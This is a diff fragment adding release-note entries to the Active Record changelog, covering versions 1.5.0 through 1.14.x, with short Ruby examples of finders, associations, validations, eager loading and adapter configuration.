+* Added support for ODBC connections to MS SQL Server so you can connect from a non-Windows machine #1569 [Mark Imbriaco/DeLynn Berry]
+
+* Fixed that multiparameter posts ignored attr_protected #1532 [alec+rails at veryclever.net]
+
+* Fixed problem with eager loading when using a has_and_belongs_to_many association using :association_foreign_key #1504 [flash at vanklinkenbergsoftware.nl]
+
+* Fixed Base#find to honor the documentation on how :joins work and make them consistent with Base#count #1405 [pritchie at gmail.com]. What used to be:
+
+    Developer.find :all, :joins => 'developers_projects', :conditions => 'id=developer_id AND project_id=1'
+
+  ...should instead be:
+
+    Developer.find(
+      :all, 
+      :joins => 'LEFT JOIN developers_projects ON developers.id = developers_projects.developer_id', 
+      :conditions => 'project_id=1'
+    )    
+
+* Fixed that validations didn't respecting custom setting for too_short, too_long messages #1437 [Marcel Molina]
+
+* Fixed that clear_association_cache doesn't delete new associations on new records (so you can safely place new records in the session with Action Pack without having new associations wiped) #1494 [cluon]
+
+* Fixed that calling Model.find([]) returns [] and doesn't throw an exception #1379
+
+* Fixed that adding a record to a has_and_belongs_to collection would always save it -- now it only saves if its a new record #1203 [Alisdair McDiarmid]
+
+* Fixed saving of in-memory association structures to happen as a after_create/after_update callback instead of after_save -- that way you can add new associations in after_create/after_update callbacks without getting them saved twice
+
+* Allow any Enumerable, not just Array, to work as bind variables #1344 [Jeremy Kemper]
+
+* Added actual database-changing behavior to collection assigment for has_many and has_and_belongs_to_many #1425 [Sebastian Kanthak].
+  Example:
+
+    david.projects = [Project.find(1), Project.new("name" => "ActionWebSearch")]
+    david.save
+
+  If david.projects already contain the project with ID 1, this is left unchanged. Any other projects are dropped. And the new
+  project is saved when david.save is called.
+
+  Also included is a way to do assignments through IDs, which is perfect for checkbox updating, so you get to do:
+
+    david.project_ids = [1, 5, 7]
+
+* Corrected typo in find SQL for has_and_belongs_to_many.  #1312 [ben at bensinclair.com]
+
+* Fixed sanitized conditions for has_many finder method.  #1281 [jackc at hylesanderson.com, pragdave, Tobias Luetke]
+
+* Comprehensive PostgreSQL schema support.  Use the optional schema_search_path directive in database.yml to give a comma-separated list of schemas to search for your tables.  This allows you, for example, to have tables in a shared schema without having to use a custom table name.  See http://www.postgresql.org/docs/8.0/interactive/ddl-schemas.html to learn more.  #827 [dave at cherryville.org]
+
+* Corrected @@configurations typo #1410 [david at ruppconsulting.com]
+
+* Return PostgreSQL columns in the order they were declared #1374 [perlguy at gmail.com]
+
+* Allow before/after update hooks to work on models using optimistic locking 
+
+* Eager loading of dependent has_one associations won't delete the association #1212
+
+* Added a second parameter to the build and create method for has_one that controls whether the existing association should be replaced (which means nullifying its foreign key as well). By default this is true, but false can be passed to prevent it.
+
+* Using transactional fixtures now causes the data to be loaded only once.
+
+* Added fixture accessor methods that can be used when instantiated fixtures are disabled.
+
+    fixtures :web_sites
+
+    def test_something
+      assert_equal "Ruby on Rails", web_sites(:rubyonrails).name
+    end
+
+* Added DoubleRenderError exception that'll be raised if render* is called twice #518 [Nicholas Seckar]
+
+* Fixed exceptions occuring after render has been called #1096 [Nicholas Seckar]
+
+* CHANGED: validates_presence_of now uses Errors#add_on_blank, which will make "  " fail the validation where it didn't before #1309
+
+* Added Errors#add_on_blank which works like Errors#add_on_empty, but uses Object#blank? instead
+
+* Added the :if option to all validations that can either use a block or a method pointer to determine whether the validation should be run or not. #1324 [Duane Johnson/jhosteny]. Examples:
+
+  Conditional validations such as the following are made possible:
+    validates_numericality_of :income, :if => :employed?
+
+  Conditional validations can also solve the salted login generator problem:
+    validates_confirmation_of :password, :if => :new_password?
+
+  Using blocks:
+    validates_presence_of :username, :if => Proc.new { |user| user.signup_step > 1 }
+
+* Fixed use of construct_finder_sql when using :join #1288 [dwlt at dwlt.net]
+
+* Fixed that :delete_sql in has_and_belongs_to_many associations couldn't access record properties #1299 [Rick Olson]
+
+* Fixed that clone would break when an aggregate had the same name as one of its attributes #1307 [Jeremy Kemper]
+
+* Changed that destroying an object will only freeze the attributes hash, which keeps the object from having attributes changed (as that wouldn't make sense), but allows for the querying of associations after it has been destroyed.
+
+* Changed the callbacks such that observers are notified before the in-object callbacks are triggered. Without this change, it wasn't possible to act on the whole object in something like a before_destroy observer without having the objects own callbacks (like deleting associations) called first.
+
+* Added option for passing an array to the find_all version of the dynamic finders and have it evaluated as an IN fragment. Example:
+
+    # SELECT * FROM topics WHERE title IN ('First', 'Second')
+    Topic.find_all_by_title(["First", "Second"])
+
+* Added compatibility with camelCase column names for dynamic finders #533 [Dee.Zsombor]
+
+* Fixed extraneous comma in count() function that made it not work with joins #1156 [jarkko/Dee.Zsombor]
+
+* Fixed incompatibility with Base#find with an array of ids that would fail when using eager loading #1186 [Alisdair McDiarmid]
+
+* Fixed that validate_length_of lost :on option when :within was specified #1195 [jhosteny at mac.com]
+
+* Added encoding and min_messages options for PostgreSQL #1205 [shugo]. Configuration example:
+
+    development:
+      adapter: postgresql
+      database: rails_development
+      host: localhost
+      username: postgres
+      password:
+      encoding: UTF8
+      min_messages: ERROR
+
+* Fixed acts_as_list where deleting an item that was removed from the list would ruin the positioning of other list items #1197 [Jamis Buck]
+
+* Added validates_exclusion_of as a negative of validates_inclusion_of
+
+* Optimized counting of has_many associations by setting the association to empty if the count is 0 so repeated calls doesn't trigger database calls
+
+
+*1.10.1* (20th April, 2005)
+
+* Fixed frivilous database queries being triggered with eager loading on empty associations and other things
+
+* Fixed order of loading in eager associations
+
+* Fixed stray comma when using eager loading and ordering together from has_many associations #1143
+
+
+*1.10.0* (19th April, 2005)
+
+* Added eager loading of associations as a way to solve the N+1 problem more gracefully without piggy-back queries. Example:
+
+    for post in Post.find(:all, :limit => 100)
+      puts "Post:            " + post.title
+      puts "Written by:      " + post.author.name
+      puts "Last comment on: " + post.comments.first.created_on
+    end
+
+  This used to generate 301 database queries if all 100 posts had both author and comments. It can now be written as:
+
+    for post in Post.find(:all, :limit => 100, :include => [ :author, :comments ])
+
+  ...and the number of database queries needed is now 1.
+
+* Added new unified Base.find API and deprecated the use of find_first and find_all. See the documentation for Base.find. Examples:
+
+    Person.find(1, :conditions => "administrator = 1", :order => "created_on DESC")
+    Person.find(1, 5, 6, :conditions => "administrator = 1", :order => "created_on DESC")
+    Person.find(:first, :order => "created_on DESC", :offset => 5)
+    Person.find(:all, :conditions => [ "category IN (?)", categories], :limit => 50)
+    Person.find(:all, :offset => 10, :limit => 10)
+
+* Added acts_as_nested_set #1000 [wschenk]. Introduction:
+
+    This acts provides Nested Set functionality.  Nested Set is similiar to Tree, but with
+    the added feature that you can select the children and all of it's descendants with
+    a single query.  A good use case for this is a threaded post system, where you want
+    to display every reply to a comment without multiple selects.
+
+* Added Base.save! that attempts to save the record just like Base.save but will raise a RecordInvalid exception instead of returning false if the record is not valid [After much pestering from Dave Thomas]
+
+* Fixed PostgreSQL usage of fixtures with regards to public schemas and table names with dots #962 [gnuman1 at gmail.com]
+
+* Fixed that fixtures were being deleted in the same order as inserts causing FK errors #890 [andrew.john.peters at gmail.com]
+
+* Fixed loading of fixtures in to be in the right order (or PostgreSQL would bark) #1047 [stephenh at chase3000.com]
+
+* Fixed page caching for non-vhost applications living underneath the root #1004 [Ben Schumacher]
+
+* Fixes a problem with the SQL Adapter which was resulting in IDENTITY_INSERT not being set to ON when it should be #1104 [adelle]
+
+* Added the option to specify the acceptance string in validates_acceptance_of #1106 [caleb at aei-tech.com]
+
+* Added insert_at(position) to acts_as_list #1083 [DeLynnB]
+
+* Removed the default order by id on has_and_belongs_to_many queries as it could kill performance on large sets (you can still specify by hand with :order)
+
+* Fixed that Base.silence should restore the old logger level when done, not just set it to DEBUG #1084 [yon at milliped.com]
+
+* Fixed boolean saving on Oracle #1093 [mparrish at pearware.org]
+
+* Moved build_association and create_association for has_one and belongs_to out of deprecation as they work when the association is nil unlike association.build and association.create, which require the association to be already in place #864
+
+* Added rollbacks of transactions if they're active as the dispatcher is killed gracefully (TERM signal) #1054 [Leon Bredt]
+
+* Added quoting of column names for fixtures #997 [jcfischer at gmail.com]
+
+* Fixed counter_sql when no records exist in database for PostgreSQL (would give error, not 0) #1039 [Caleb Tennis]
+
+* Fixed that benchmarking times for rendering included db runtimes #987 [skaes at web.de]
+
+* Fixed boolean queries for t/f fields in PostgreSQL #995 [dave at cherryville.org]
+
+* Added that model.items.delete(child) will delete the child, not just set the foreign key to nil, if the child is dependent on the model #978 [Jeremy Kemper]
+
+* Fixed auto-stamping of dates (created_on/updated_on) for PostgreSQL #985 [dave at cherryville.org]
+
+* Fixed Base.silence/benchmark to only log if a logger has been configured #986 [skaes at web.de]
+
+* Added a join parameter as the third argument to Base.find_first and as the second to Base.count #426, #988 [skaes at web.de]
+
+* Fixed bug in Base#hash method that would treat records with the same string-based id as different [Dave Thomas]
+
+* Renamed DateHelper#distance_of_time_in_words_to_now to DateHelper#time_ago_in_words (old method name is still available as a deprecated alias)
+
+
+*1.9.1* (27th March, 2005)
+
+* Fixed that Active Record objects with float attribute could not be cloned #808
+
+* Fixed that MissingSourceFile's wasn't properly detected in production mode #925 [Nicholas Seckar]
+
+* Fixed that :counter_cache option would look for a line_items_count column for a LineItem object instead of lineitems_count
+
+* Fixed that AR exists?() would explode on postgresql if the passed id did not match the PK type #900 [Scott Barron]
+
+* Fixed the MS SQL adapter to work with the new limit/offset approach and with binary data (still suffering from 7KB limit, though) #901 [delynnb]
+
+
+*1.9.0* (22th March, 2005)
+
+* Added adapter independent limit clause as a two-element array with the first being the limit, the second being the offset #795 [Sam Stephenson]. Example:
+
+    Developer.find_all nil, 'id ASC', 5      # return the first five developers 
+    Developer.find_all nil, 'id ASC', [3, 8] # return three developers, starting from #8 and forward
+
+  This doesn't yet work with the DB2 or MS SQL adapters. Patches to make that happen are encouraged. 
+
+* Added alias_method :to_param, :id to Base, such that Active Record objects to be used as URL parameters in Action Pack automatically #812 [Nicholas Seckar/Sam Stephenson]
+
+* Improved the performance of the OCI8 adapter for Oracle #723 [pilx/gjenkins]
+
+* Added type conversion before saving a record, so string-based values like "10.0" aren't left for the database to convert #820 [dave at cherryville.org]
+
+* Added with additional settings for working with transactional fixtures and pre-loaded test databases #865 [mindel]
+
+* Fixed acts_as_list to trigger remove_from_list on destroy after the fact, not before, so a unique position can be maintained #871 [Alisdair McDiarmid]
+
+* Added the possibility of specifying fixtures in multiple calls #816 [kim at tinker.com]
+
+* Added Base.exists?(id) that'll return true if an object of the class with the given id exists #854 [stian at grytoyr.net]
+
+* Added optionally allow for nil or empty strings with validates_numericality_of #801 [Sebastian Kanthak]
+
+* Fixed problem with using slashes in validates_format_of regular expressions #801 [Sebastian Kanthak]
+
+* Fixed that SQLite3 exceptions are caught and reported properly #823 [yerejm]
+
+* Added that all types of after_find/after_initialized callbacks are triggered if the explicit implementation is present, not only the explicit implementation itself
+
+* Fixed that symbols can be used on attribute assignment, like page.emails.create(:subject => data.subject, :body => data.body)
+
+
+*1.8.0* (7th March, 2005)
+
+* Added ActiveRecord::Base.colorize_logging to control whether to use colors in logs or not (on by default)
+
+* Added support for timestamp with time zone in PostgreSQL #560 [Scott Barron]
+
+* Added MultiparameterAssignmentErrors and AttributeAssignmentError exceptions #777 [demetrius]. Documentation:
+
+   * +MultiparameterAssignmentErrors+ -- collection of errors that occurred during a mass assignment using the 
+     +attributes=+ method. The +errors+ property of this exception contains an array of +AttributeAssignmentError+ 
+     objects that should be inspected to determine which attributes triggered the errors.
+   * +AttributeAssignmentError+ -- an error occurred while doing a mass assignment through the +attributes=+ method.
+     You can inspect the +attribute+ property of the exception object to determine which attribute triggered the error.
+
+* Fixed that postgresql adapter would fails when reading bytea fields with null value #771 [rodrigo k]
+
+* Added transactional fixtures that uses rollback to undo changes to fixtures instead of DELETE/INSERT -- it's much faster. See documentation under Fixtures #760 [Jeremy Kemper]
+
+* Added destruction of dependent objects in has_one associations when a new assignment happens #742 [mindel]. Example:
+
+    class Account < ActiveRecord::Base
+      has_one :credit_card, :dependent => true
+    end
+    class CreditCard < ActiveRecord::Base
+      belongs_to :account
+    end
+
+    account.credit_card # => returns existing credit card, lets say id = 12
+    account.credit_card = CreditCard.create("number" => "123")
+    account.save # => CC with id = 12 is destroyed
+
+
+* Added validates_numericality_of #716 [skanthak/c.r.mcgrath]. Docuemntation:
+
+    Validates whether the value of the specified attribute is numeric by trying to convert it to
+    a float with Kernel.Float (if <tt>integer</tt> is false) or applying it to the regular expression
+    <tt>/^[\+\-]?\d+$/</tt> (if <tt>integer</tt> is set to true).
+
+      class Person < ActiveRecord::Base
+        validates_numericality_of :value, :on => :create
+      end
+
+    Configuration options:
+    * <tt>message</tt> - A custom error message (default is: "is not a number")
+    * <tt>on</tt> Specifies when this validation is active (default is :save, other options :create, :update)
+    * <tt>only_integer</tt> Specifies whether the value has to be an integer, e.g. an integral value (default is false)
+
+
+* Fixed that HasManyAssociation#count was using :finder_sql rather than :counter_sql if it was available #445 [Scott Barron]
+
+* Added better defaults for composed_of, so statements like composed_of :time_zone, :mapping => %w( time_zone time_zone ) can be written without the mapping part (it's now assumed)
+
+* Added MacroReflection#macro which will return a symbol describing the macro used (like :composed_of or :has_many) #718, #248 [james at slashetc.com]
+
+
+*1.7.0* (24th February, 2005)
+
+* Changed the auto-timestamping feature to use ActiveRecord::Base.default_timezone instead of entertaining the parallel ActiveRecord::Base.timestamps_gmt method. The latter is now deprecated and will throw a warning on use (but still work) #710 [Jamis Buck]
+
+* Added a OCI8-based Oracle adapter that has been verified to work with Oracle 8 and 9 #629 [Graham Jenkins]. Usage notes:
+
+    1.  Key generation uses a sequence "rails_sequence" for all tables. (I couldn't find a simple
+        and safe way of passing table-specific sequence information to the adapter.)
+    2.  Oracle uses DATE or TIMESTAMP datatypes for both dates and times. Consequently I have had to
+        resort to some hacks to get data converted to Date or Time in Ruby.
+        If the column_name ends in _at (like created_at, updated_at) it's created as a Ruby Time. Else if the
+        hours/minutes/seconds are 0, I make it a Ruby Date. Else it's a Ruby Time.
+        This is nasty - but if you use Duck Typing you'll probably not care very much.
+        In 9i it's tempting to map DATE to Date and TIMESTAMP to Time but I don't think that is
+        valid - too many databases use DATE for both.
+        Timezones and sub-second precision on timestamps are not supported.
+    3.  Default values that are functions (such as "SYSDATE") are not supported. This is a
+        restriction of the way active record supports default values.
+    4.  Referential integrity constraints are not fully supported. Under at least
+        some circumstances, active record appears to delete parent and child records out of
+        sequence and out of transaction scope. (Or this may just be a problem of test setup.)
+
+  The OCI8 driver can be retrieved from http://rubyforge.org/projects/ruby-oci8/
+
+* Added option :schema_order to the PostgreSQL adapter to support the use of multiple schemas per database #697 [YuriSchimke]
+
+* Optimized the SQL used to generate has_and_belongs_to_many queries by listing the join table first #693 [yerejm]
+
+* Fixed that when using validation macros with a custom message, if you happened to use single quotes in the message string you would get a parsing error #657 [tonka]
+
+* Fixed that Active Record would throw Broken Pipe errors with FCGI when the MySQL connection timed out instead of reconnecting #428 [Nicholas Seckar]
+
+* Added options to specify an SSL connection for MySQL. Define the following attributes in the connection config (config/database.yml in Rails) to use it: sslkey, sslcert, sslca, sslcapath, sslcipher. To use SSL with no client certs, just set :sslca = '/dev/null'. http://dev.mysql.com/doc/mysql/en/secure-connections.html #604 [daniel at nightrunner.com]
+
+* Added automatic dropping/creating of test tables for running the unit tests on all databases #587 [adelle at bullet.net.au]
+
+* Fixed that find_by_* would fail when column names had numbers #670 [demetrius]
+
+* Fixed the SQL Server adapter on a bunch of issues #667 [DeLynn]
+
+    1. Created a new columns method that is much cleaner. 
+    2. Corrected a problem with the select and select_all methods 
+       that didn't account for the LIMIT clause being passed into raw SQL statements. 
+    3. Implemented the string_to_time method in order to create proper instances of the time class. 
+    4. Added logic to the simplified_type method that allows the database to specify the scale of float data. 
+    5. Adjusted the quote_column_name to account for the fact that MS SQL is bothered by a forward slash in the data string.
+
+* Fixed that the dynamic finder like find_all_by_something_boolean(false) didn't work #649 [lmarlow at yahoo.com]
+
+* Added validates_each that validates each specified attribute against a block #610 [Jeremy Kemper]. Example:
+
+    class Person < ActiveRecord::Base
+      validates_each :first_name, :last_name do |record, attr|
+        record.errors.add attr, 'starts with z.' if attr[0] == ?z
+      end
+    end
+
+* Added :allow_nil as an explicit option for validates_length_of, so unless that's set to true having the attribute as nil will also return an error if a range is specified as :within #610 [Jeremy Kemper]
+
+* Added that validates_* now accept blocks to perform validations #618 [Tim Bates]. Example:
+
+    class Person < ActiveRecord::Base
+      validate { |person| person.errors.add("title", "will never be valid") if SHOULD_NEVER_BE_VALID }
+    end
+
+* Addded validation for validate all the associated objects before declaring failure with validates_associated #618 [Tim Bates]
+
+* Added keyword-style approach to defining the custom relational bindings #545 [Jamis Buck]. Example:
+
+    class Project < ActiveRecord::Base
+      primary_key "sysid"
+      table_name "XYZ_PROJECT"
+      inheritance_column { original_inheritance_column + "_id" }
+    end
+
+* Fixed Base#clone for use with PostgreSQL #565 [hanson at surgery.wisc.edu]
+
+
+*1.6.0* (January 25th, 2005)
+
+* Added that has_many association build and create methods can take arrays of record data like Base#create and Base#build to build/create multiple records at once.
+
+* Added that Base#delete and Base#destroy both can take an array of ids to delete/destroy #336
+
+* Added the option of supplying an array of attributes to Base#create, so that multiple records can be created at once.
+
+* Added the option of supplying an array of ids and attributes to Base#update, so that multiple records can be updated at once (inspired by #526/Duane Johnson). Example
+
+    people = { 1 => { "first_name" => "David" }, 2 => { "first_name" => "Jeremy"} }
+    Person.update(people.keys, people.values)
+
+* Added ActiveRecord::Base.timestamps_gmt that can be set to true to make the automated timestamping use GMT instead of local time #520 [Scott Baron]
+
+* Added that update_all calls sanitize_sql on its updates argument, so stuff like MyRecord.update_all(['time = ?', Time.now]) works #519 [notahat]
+
+* Fixed that the dynamic finders didn't treat nil as a "IS NULL" but rather "= NULL" case #515 [Demetrius]
+
+* Added bind-named arrays for interpolating a group of ids or strings in conditions #528 [Jeremy Kemper]
+
+* Added that has_and_belongs_to_many associations with additional attributes also can be created between unsaved objects and only committed to the database when Base#save is called on the associator #524 [Eric Anderson]
+
+* Fixed that records fetched with piggy-back attributes or through rich has_and_belongs_to_many associations couldn't be saved due to the extra attributes not part of the table #522 [Eric Anderson]
+
+* Added mass-assignment protection for the inheritance column -- regardless of a custom column is used or not
+
+* Fixed that association proxies would fail === tests like PremiumSubscription === @account.subscription
+
+* Fixed that column aliases didn't work as expected with the new MySql411 driver #507 [Demetrius]
+
+* Fixed that find_all would produce invalid sql when called sequentialy #490 [Scott Baron]
+
+
+*1.5.1* (January 18th, 2005)
+
+* Fixed that the belongs_to and has_one proxy would fail a test like 'if project.manager' -- this unfortunately also means that you can't call methods like project.manager.build unless there already is a manager on the project #492 [Tim Bates]
+
+* Fixed that the Ruby/MySQL adapter wouldn't connect if the password was empty #503 [Pelle]
+
+
+*1.5.0* (January 17th, 2005)
+
+* Fixed that unit tests for MySQL are now run as the "rails" user instead of root #455 [Eric Hodel]
+
+* Added validates_associated that enables validation of objects in an unsaved association #398 [Tim Bates]. Example:
+
+    class Book < ActiveRecord::Base
+      has_many :pages
+      belongs_to :library
+
+      validates_associated :pages, :library
+    end
+
+* Added support for associating unsaved objects #402 [Tim Bates]. Rules that govern this addition:
+
+    == Unsaved objects and associations
+
+    You can manipulate objects and associations before they are saved to the database, but there is some special behaviour you should be
+    aware of, mostly involving the saving of associated objects.
+
+    === One-to-one associations
+
+    * Assigning an object to a has_one association automatically saves that object, and the object being replaced (if there is one), in
+      order to update their primary keys - except if the parent object is unsaved (new_record? == true).
+    * If either of these saves fail (due to one of the objects being invalid) the assignment statement returns false and the assignment
+      is cancelled.
+    * If you wish to assign an object to a has_one association without saving it, use the #association.build method (documented below).
+    * Assigning an object to a belongs_to association does not save the object, since the foreign key field belongs on the parent. It does
+      not save the parent either.
+
+    === Collections
+
+    * Adding an object to a collection (has_many or has_and_belongs_to_many) automatically saves that object, except if the parent object
+      (the owner of the collection) is not yet stored in the database.
+    * If saving any of the objects being added to a collection (via #push or similar) fails, then #push returns false.
+    * You can add an object to a collection without automatically saving it by using the #collection.build method (documented below).
+    * All unsaved (new_record? == true) members of the collection are automatically saved when the parent is saved.
+
+* Added replace to associations, so you can do project.manager.replace(new_manager) or project.milestones.replace(new_milestones) #402 [Tim Bates]
+
+* Added build and create methods to has_one and belongs_to associations, so you can now do project.manager.build(attributes) #402 [Tim Bates]
+
+* Added that if a before_* callback returns false, all the later callbacks and the associated action are cancelled. If an after_* callback returns false, all the later callbacks are cancelled. Callbacks are generally run in the order they are defined, with the exception of callbacks defined as methods on the model, which are called last. #402 [Tim Bates]
+
+* Fixed that Base#== wouldn't work for multiple references to the same unsaved object #402 [Tim Bates]
+
+* Fixed binary support for PostgreSQL #444 [alex at byzantine.no]
+
+* Added a differenciation between AssociationCollection#size and -length. Now AssociationCollection#size returns the size of the 
+  collection by executing a SELECT COUNT(*) query if the collection hasn't been loaded and calling collection.size if it has. If 
+  it's more likely than not that the collection does have a size larger than zero and you need to fetch that collection afterwards, 
+  it'll take one less SELECT query if you use length.
+
+* Added Base#attributes that returns a hash of all the attributes with their names as keys and clones of their objects as values #433 [atyp.de]
+
+* Fixed that foreign keys named the same as the association would cause stack overflow #437 [Eric Anderson]
+
+* Fixed default scope of acts_as_list from "1" to "1 = 1", so it'll work in PostgreSQL (among other places) #427 [Alexey]
+
+* Added Base#reload that reloads the attributes of an object from the database #422 [Andreas Schwarz]
+
+* Added SQLite3 compatibility through the sqlite3-ruby adapter by Jamis Buck #381 [Jeremy Kemper]
+
+* Added support for the new protocol spoken by MySQL 4.1.1+ servers for the Ruby/MySQL adapter that ships with Rails #440 [Matt Mower] 
+
+* Added that Observers can use the observes class method instead of overwriting self.observed_class().
+
+    Before:
+      class ListSweeper < ActiveRecord::Base
+        def self.observed_class() [ List, Item ]
+      end
+
+    After:
+      class ListSweeper < ActiveRecord::Base
+        observes List, Item
+      end
+
+* Fixed that conditions in has_many and has_and_belongs_to_many should be interpolated just like the finder_sql is
+
+* Fixed Base#update_attribute to be indifferent to whether a string or symbol is used to describe the name
+
+* Added Base#toggle(attribute) and Base#toggle!(attribute) that makes it easier to flip a switch or flag.
+
+    Before: topic.update_attribute(:approved, !approved?)
+    After : topic.toggle!(:approved)
+
+* Added Base#increment!(attribute) and Base#decrement!(attribute) that also saves the records. Example:
+
+    page.views # => 1
+    page.increment!(:views) # executes an UPDATE statement
+    page.views # => 2
+
+    page.increment(:views).increment!(:views)
+    page.views # => 4
+
+* Added Base#increment(attribute) and Base#decrement(attribute) that encapsulates the += 1 and -= 1 patterns.
+
+
+
+
+*1.14.2* (April 9th, 2005)
+
+* Fixed calculations for the Oracle Adapter (closes #4626) [Michael Schoen]
+
+
+*1.14.1* (April 6th, 2006)
+
+* Fix type_name_with_module to handle type names that begin with '::'. Closes #4614. [Nicholas Seckar]
+
+* Fixed that that multiparameter assignment doesn't work with aggregations (closes #4620) [Lars Pind]
+
+* Enable Limit/Offset in Calculations (closes #4558) [lmarlow at yahoo.com]
+
+* Fixed that loading including associations returns all results if Load IDs For Limited Eager Loading returns none (closes #4528) [Rick]
+
+* Fixed HasManyAssociation#find bugs when :finder_sql is set #4600 [lagroue at free.fr]
+
+* Allow AR::Base#respond_to? to behave when @attributes is nil [zenspider]
+
+* Support eager includes when going through a polymorphic has_many association. [Rick]
+
+* Added support for eagerly including polymorphic has_one associations. (closes #4525) [Rick]
+
+    class Post < ActiveRecord::Base
+      has_one :tagging, :as => :taggable
+    end
+    
+    Post.find :all, :include => :tagging
+
+* Added descriptive error messages for invalid has_many :through associations: going through :has_one or :has_and_belongs_to_many [Rick]
+
+* Added support for going through a polymorphic has_many association: (closes #4401) [Rick]
+
+    class PhotoCollection < ActiveRecord::Base
+      has_many :photos, :as => :photographic
+      belongs_to :firm
+    end
+     
+    class Firm < ActiveRecord::Base
+      has_many :photo_collections
+      has_many :photos, :through => :photo_collections
+    end
+
+* Multiple fixes and optimizations in PostgreSQL adapter, allowing ruby-postgres gem to work properly. [ruben.nine at gmail.com]
+
+* Fixed that AssociationCollection#delete_all should work even if the records of the association are not loaded yet. [Florian Weber]
+
+* Changed those private ActiveRecord methods to take optional third argument :auto instead of nil for performance optimizations.  (closes #4456) [Stefan]
+
+* Private ActiveRecord methods add_limit!, add_joins!, and add_conditions! take an OPTIONAL third argument 'scope' (closes #4456) [Rick]
+
+* DEPRECATED: Using additional attributes on has_and_belongs_to_many associations. Instead upgrade your association to be a real join model [DHH]
+
+* Fixed that records returned from has_and_belongs_to_many associations with additional attributes should be marked as read only (fixes #4512) [DHH]
+
+* Do not implicitly mark recordss of has_many :through as readonly but do mark habtm records as readonly (eventually only on join tables without rich attributes). [Marcel Mollina Jr.]
+
+* Fixed broken OCIAdapter #4457 [schoenm at earthlink.net]
+
+
+*1.14.0* (March 27th, 2006)
+
+* Replace 'rescue Object' with a finer grained rescue. Closes #4431. [Nicholas Seckar]
+
+* Fixed eager loading so that an aliased table cannot clash with a has_and_belongs_to_many join table [Rick]
+
+* Add support for :include to with_scope [andrew at redlinesoftware.com]
+
+* Support the use of public synonyms with the Oracle adapter; required ruby-oci8 v0.1.14 #4390 [schoenm at earthlink.net]
+
+* Change periods (.) in table aliases to _'s.  Closes #4251 [jeff at ministrycentered.com]
+
+* Changed has_and_belongs_to_many join to INNER JOIN for Mysql 3.23.x.  Closes #4348 [Rick]
+
+* Fixed issue that kept :select options from being scoped [Rick]
+
+* Fixed db_schema_import when binary types are present #3101 [DHH]
+
+* Fixed that MySQL enums should always be returned as strings #3501 [DHH]
+
+* Change has_many :through to use the :source option to specify the source association.  :class_name is now ignored. [Rick Olson]
+
+    class Connection < ActiveRecord::Base
+      belongs_to :user
+      belongs_to :channel
+    end
+
+    class Channel < ActiveRecord::Base
+      has_many :connections
+      has_many :contacts, :through => :connections, :class_name => 'User' # OLD
+      has_many :contacts, :through => :connections, :source => :user      # NEW
+    end
+
+* Fixed DB2 adapter so nullable columns will be determines correctly now and quotes from column default values will be removed #4350 [contact at maik-schmidt.de]
+
+* Allow overriding of find parameters in scoped has_many :through calls [Rick Olson]
+
+  In this example, :include => false disables the default eager association from loading.  :select changes the standard
+  select clause.  :joins specifies a join that is added to the end of the has_many :through query.
+  
+    class Post < ActiveRecord::Base
+      has_many :tags, :through => :taggings, :include => :tagging do
+        def add_joins_and_select
+          find :all, :select => 'tags.*, authors.id as author_id', :include => false,
+            :joins => 'left outer join posts on taggings.taggable_id = posts.id left outer join authors on posts.author_id = authors.id'
+        end
+      end
+    end
+    
+* Fixed that schema changes while the database was open would break any connections to a SQLite database (now we reconnect if that error is throw) [DHH]
+
+* Don't classify the has_one class when eager loading, it is already singular. Add tests. (closes #4117) [jonathan at bluewire.net.nz]
+
+* Quit ignoring default :include options in has_many :through calls [Mark James]
+
+* Allow has_many :through associations to find the source association by setting a custom class (closes #4307) [jonathan at bluewire.net.nz]
+
+* Eager Loading support added for has_many :through => :has_many associations (see below).  [Rick Olson]
+
+* Allow has_many :through to work on has_many associations (closes #3864) [sco at scottraymond.net]  Example:
+
+    class Firm < ActiveRecord::Base
+      has_many :clients
+      has_many :invoices, :through => :clients
+    end
+  
+    class Client < ActiveRecord::Base
+      belongs_to :firm
+      has_many   :invoices
+    end
+  
+    class Invoice < ActiveRecord::Base
+      belongs_to :client
+    end
+
+* Raise error when trying to select many polymorphic objects with has_many :through or :include (closes #4226) [josh at hasmanythrough.com]
+
+* Fixed has_many :through to include :conditions set on the :through association. closes #4020 [jonathan at bluewire.net.nz]
+
+* Fix that has_many :through honors the foreign key set by the belongs_to association in the join model (closes #4259) [andylien at gmail.com / Rick]
+
+* SQL Server adapter gets some love #4298 [rtomayko at gmail.com]
+
+* Added OpenBase database adapter that builds on top of the http://www.spice-of-life.net/ruby-openbase/ driver. All functionality except LIMIT/OFFSET is supported #3528 [derrickspell at cdmplus.com]
+
+* Rework table aliasing to account for truncated table aliases.  Add smarter table aliasing when doing eager loading of STI associations. This allows you to use the association name in the order/where clause. [Jonathan Viney / Rick Olson] #4108 Example (SpecialComment is using STI):
+
+    Author.find(:all, :include => { :posts => :special_comments }, :order => 'special_comments.body')
+
+* Add AbstractAdapter#table_alias_for to create table aliases according to the rules of the current adapter. [Rick]
+
+* Provide access to the underlying database connection through Adapter#raw_connection. Enables the use of db-specific methods without complicating the adapters. #2090 [Koz]
+
+* Remove broken attempts at handling columns with a default of 'now()' in the postgresql adapter. #2257 [Koz]
+
+* Added connection#current_database that'll return of the current database (only works in MySQL, SQL Server, and Oracle so far -- please help implement for the rest of the adapters) #3663 [Tom ward]
+
+* Fixed that Migration#execute would have the table name prefix appended to its query #4110 [mark.imbriaco at pobox.com]
+
+* Make all tinyint(1) variants act like boolean in mysql (tinyint(1) unsigned, etc.) [Jamis Buck]
+
+* Use association's :conditions when eager loading. [jeremyevans0 at gmail.com] #4144
+
+* Alias the has_and_belongs_to_many join table on eager includes. #4106 [jeremyevans0 at gmail.com]
+
+  This statement would normally error because the projects_developers table is joined twice, and therefore joined_on would be ambiguous.
+
+    Developer.find(:all, :include => {:projects => :developers}, :conditions => 'join_project_developers.joined_on IS NOT NULL')
+
+* Oracle adapter gets some love #4230 [schoenm at earthlink.net]
+
+    * Changes :text to CLOB rather than BLOB [Moses Hohman]
+    * Fixes an issue with nil numeric length/scales (several)
+    * Implements support for XMLTYPE columns [wilig / Kubo Takehiro]
+    * Tweaks a unit test to get it all green again
+    * Adds support for #current_database
+
+* Added Base.abstract_class? that marks which classes are not part of the Active Record hierarchy #3704 [Rick Olson]
+
+    class CachedModel < ActiveRecord::Base
+      self.abstract_class = true
+    end
+    
+    class Post < CachedModel
+    end
+    
+    CachedModel.abstract_class?
+    => true
+    
+    Post.abstract_class?
+    => false
+
+    Post.base_class
+    => Post
+    
+    Post.table_name
+    => 'posts'
+
